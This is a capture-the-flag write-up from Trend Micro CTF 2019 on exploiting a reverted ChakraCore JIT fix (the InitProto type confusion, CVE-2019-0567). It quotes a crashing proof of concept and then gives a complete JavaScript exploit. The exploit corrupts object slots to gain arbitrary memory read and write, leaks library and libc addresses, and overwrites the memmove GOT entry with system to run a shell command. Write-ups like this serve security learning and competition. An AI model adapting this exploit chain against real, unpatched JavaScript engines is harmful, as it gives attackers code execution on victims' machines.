Trend Micro CTF 2019 libChakraCore.so

by chq-matteo
September 9, 2019

If you already know the details of this challenge and bug, you can skip to the Exploit section

Due to all the materials published about Javascript engines exploitation, recently I have been trying more browser exploitation challenges.

The challenge

We are given two binaries

  1. ch - which takes a null terminated javascript source file from stdin, writes it into a tmp directory and then executes it
  2. libChakraCore.so - a compiled version of ChakraCore, a javascript engine from Microsoft

We are also given a .diff file

diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 88bf72d32..6fcb61151 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -564,7 +564,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
         break;
 
     case Js::OpCode::InitClass:
-    case Js::OpCode::InitProto:
+    //case Js::OpCode::InitProto:
     case Js::OpCode::NewScObjectNoCtor:
     case Js::OpCode::NewScObjectNoCtorFull:
         if (inGlobOpt)

So the organizers have disabled a case in a function called ProcessFieldKills

The bug

Searching for Chakra InitProto on google we can find several CVE. One of them is CVE-2019-0567 reported by lokihardt from Google Security who is also the author of this PoC


PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234); // <-- This value is used as a pointer

    print(o.a);
}

main();

If you feed the PoC into the challenge binary you’ll get a SegFault before the print function terminates when libChakraCore.so tries to access [rax] with rax = 0x100…1234

(the 0x1 is used to differentiate numbers from pointers)

lokihardt explains that if we set proto as the prototype of tmp, proto’s layout in memory changes.

The jit compiler didn’t take this side effect into account at the time.

The challenge is basically a revert of the fixes that Microsoft applied.

Useful Reading

So to understand this issue a little bit better I read some general ChakraCore exploitation material such as

And also some specific analysis of this bug and two very similar bugs also discovered by lokihardt (basically corresponding to the other 3 cases that were not commented out)

It happens that for CVE-2019-0539 there are two nice blog posts from Perception Point

  1. CVE-2019-0539 root cause analysis
  2. CVE-2019-0539 exploitation

CVE-2019-0539 is a sibling bug of the one in the challenge, specifically the InitClass case I think

Summary

// chqmatteo: This diagram is borrowed from Perception Point (a similar diagram is in Bruno Keith slides)
// Memory layout of DynamicObject can be one of the following:
//        (#1)                (#2)                (#3)
//  +--------------+    +--------------+    +--------------+
//  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
//  |--------------|    |--------------|    |--------------|
//  | auxSlots     |    | auxSlots     |    | inline slots |
//  | union        |    | union        |    |              |
//  +--------------+    |--------------|    |              |
//                      | inline slots |    |              |
//                      +--------------+    +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.

At the start, argument proto in opt(o, proto, value) has memory layout #3, setting it as a prototype makes it transition to layout #1

(in the different bug discussed by Bruno Keith, the transition is #3 -> #2 so there are some differences wrt offsets)

When opt gets jit compiled, the line o.a = value; is translated to a copy of value into the first inline slot of o, because for 2000 calls the layout in memory of o didn’t change from layout #1

The actual bug is that the logic to bail out from the optimizations when o’s memory layout actually changes is not present in the jit compiled code.

That’s why, when we finally call opt with {a:1, b:2} as both o and proto, we can write anything we want into the now auxSlots field of o (previously the first inline slot of o)

Turning this into arbitraty address read write

To turn this bug into an arbitrary address read write is a bit involved, the gist is that we have to use an object as a stepping stone to corrupt the metadata of two ArrayBuffers (called target and hax in Bruno Keith slides, dv1 and dv2 in Perception Point post)

The first ArrayBuffer is used to change the buffer pointer of the second ArrayBuffer. The buffer is the pointer to where the values of an array are actually stored.

The second ArrayBuffer is used to read from or write into the address that we want.

You can refer to the slides and the second blog post for a more detailed explaination.

Exploit

I’ll divide the exploit in three parts (Setup, Arbitrary address read and write, Code Execution) and explain a bit what each stage does

Setup

We first setup the four objects that we need o, obj, dv1, dv2. I’ll use Perception Point terminology because they included a PoC exploit which can be adapted to this bug

You can diff the two scripts to get the differences

obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, c, value) {
    o.b = 1;

    let temp = {__proto__: c};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};
  
    opt(o, o, obj); // o->auxSlots = obj (Step 1)

    /* 
      chqmatteo: so we set o.c but it can be any name you want, 
      it's just the third property of o
      so it will get written to o->auxSlots[2]
      similary obj.h is the 8th property of obj so we will write to obj->auxSlots[7]
      and buffer is at that offset
     */
    o.c = dv1; // obj->auxSlots = dv1 (Step 2)
    obj.h = dv2; // dv1->buffer = dv2 (Step 3)
    

Arbitrary address read and write

Here we set dv1->buffer to any address that we need

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        // chqmatteo: 0x38 = 7 * 8, we are writing at ((void*)dv1->buffer)[7] which is dv2->buffer
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }
    let read3232 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // read from addr (Step 5)
        return [dv2.getInt32(0, true), dv2.getInt32(4, true)];
    }
    
    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(4, value_hi, true);
    }
    
    // chqmatteo: the first value of the object is the pointer to the vtable
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));
    
    // chqmatteo: demonstrate arbitrary read
    print(hex(read64(vtable_lo, vtable_hi)));

This is basically where Perception Point blog post ends

Code execution

Now we can:

  1. read and write any address we want using from dv2
  2. plus we can read and write everything in the metadata of dv2 using dv1.

One thing that is useful from the metadata of dv2 is the vtable pointer.

The vtable pointer points to an address inside libChakraCore.so. That is we can compute the base address of the library leaking the vtable pointer and reading from that address.

One common technique to gain code execution from arbitrary write is to write the address of system or one_gadget into a got entry of the binary

From the base address of libChakraCore.so we can compute the address of the got section and from there we can leak the base address of libc

Since the got of libChakraCore.so is writable I tried with various offsets, but without success.

So after a couple of failed tries, I searched for how to trigger calls to standard library from a javascript context and found this writeup

https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/

Looked for got in the writeup and found that you can trigger memmove with some_array.set(other_array)

The nice thing of memmove is that the first argument is a string and is the destination buffer of the memory move, so we can control the first argument of system So I overwrote the corresponding entry in got with the address of system.

    // compute some useful offsets, just try them all until it works    
    let gdb_base = 0xc3a52000; // libChakraCore.so base addr in gdb
    
    let vptr_off = 0xc48566e0 - gdb_base;
    let chackra_base_lo = vtable_lo - vptr_off;
    
    let malloc_got = 0xc48a56e0 - gdb_base;
    // write targets
    let free_got = 0xc48a5128 - gdb_base
    let memmove = free_got - 0x128 + 0x108
    let memset = free_got - 0x128 + 0x248
        
    let one_gadget = 0x4f440; // actually it's system because the one gadgets that I tried didn't work
    
    print(hex(chackra_base_lo + vtable_hi * BASE));
    print('malloc and free')
    // get libc offsets to find libc version
    print(hex(read64(chackra_base_lo + malloc_got, vtable_hi)));
    print(hex(read64(chackra_base_lo + free_got, vtable_hi)));

    // read got to get libc base addr
    let libc = read3232(chackra_base_lo + free_got, vtable_hi);
    let free_off = 0x8dbce950 - 0x8db37000 // lost the gdb session so new base addr
    let libc_low = libc[0] - free_off;
    let libc_high = libc[1];
    print(hex(libc_low + libc_high * BASE))
    print('Writing on got');

    write64(chackra_base_lo + memmove, vtable_hi, libc_low + one_gadget, libc_high);
    // write64(chackra_base_lo + memset, vtable_hi, libc_low + one_gadget, libc_high);
    print('there');

    // just a random size and name, you can put different values if you want
    let ab = new Uint8Array(0x1020);
    let ef = new Uint8Array(0x1020);
    let cmd = 'cat flag'
    for (let i = 0; i < 1000; i++) {
        ab[i] = 100 - i;
        ef[i] = cmd.charCodeAt(i);
    }
    ef[cmd.length] = 0;

    // easier to spot in the debugger
    ab[0] = 0x41
    ab[1] = 0x41
    ab[2] = 0x41
    ab[3] = 0x41
    ab[4] = 0;

    // triggers memmove when copying ef.buffer <- ab.buffer
    ef.set(ab);

    // write on *0x0, crash the binary, poor man's breakpoint
    write64(0x0, 0x0, libc_low + one_gadget, libc_high);

}

main();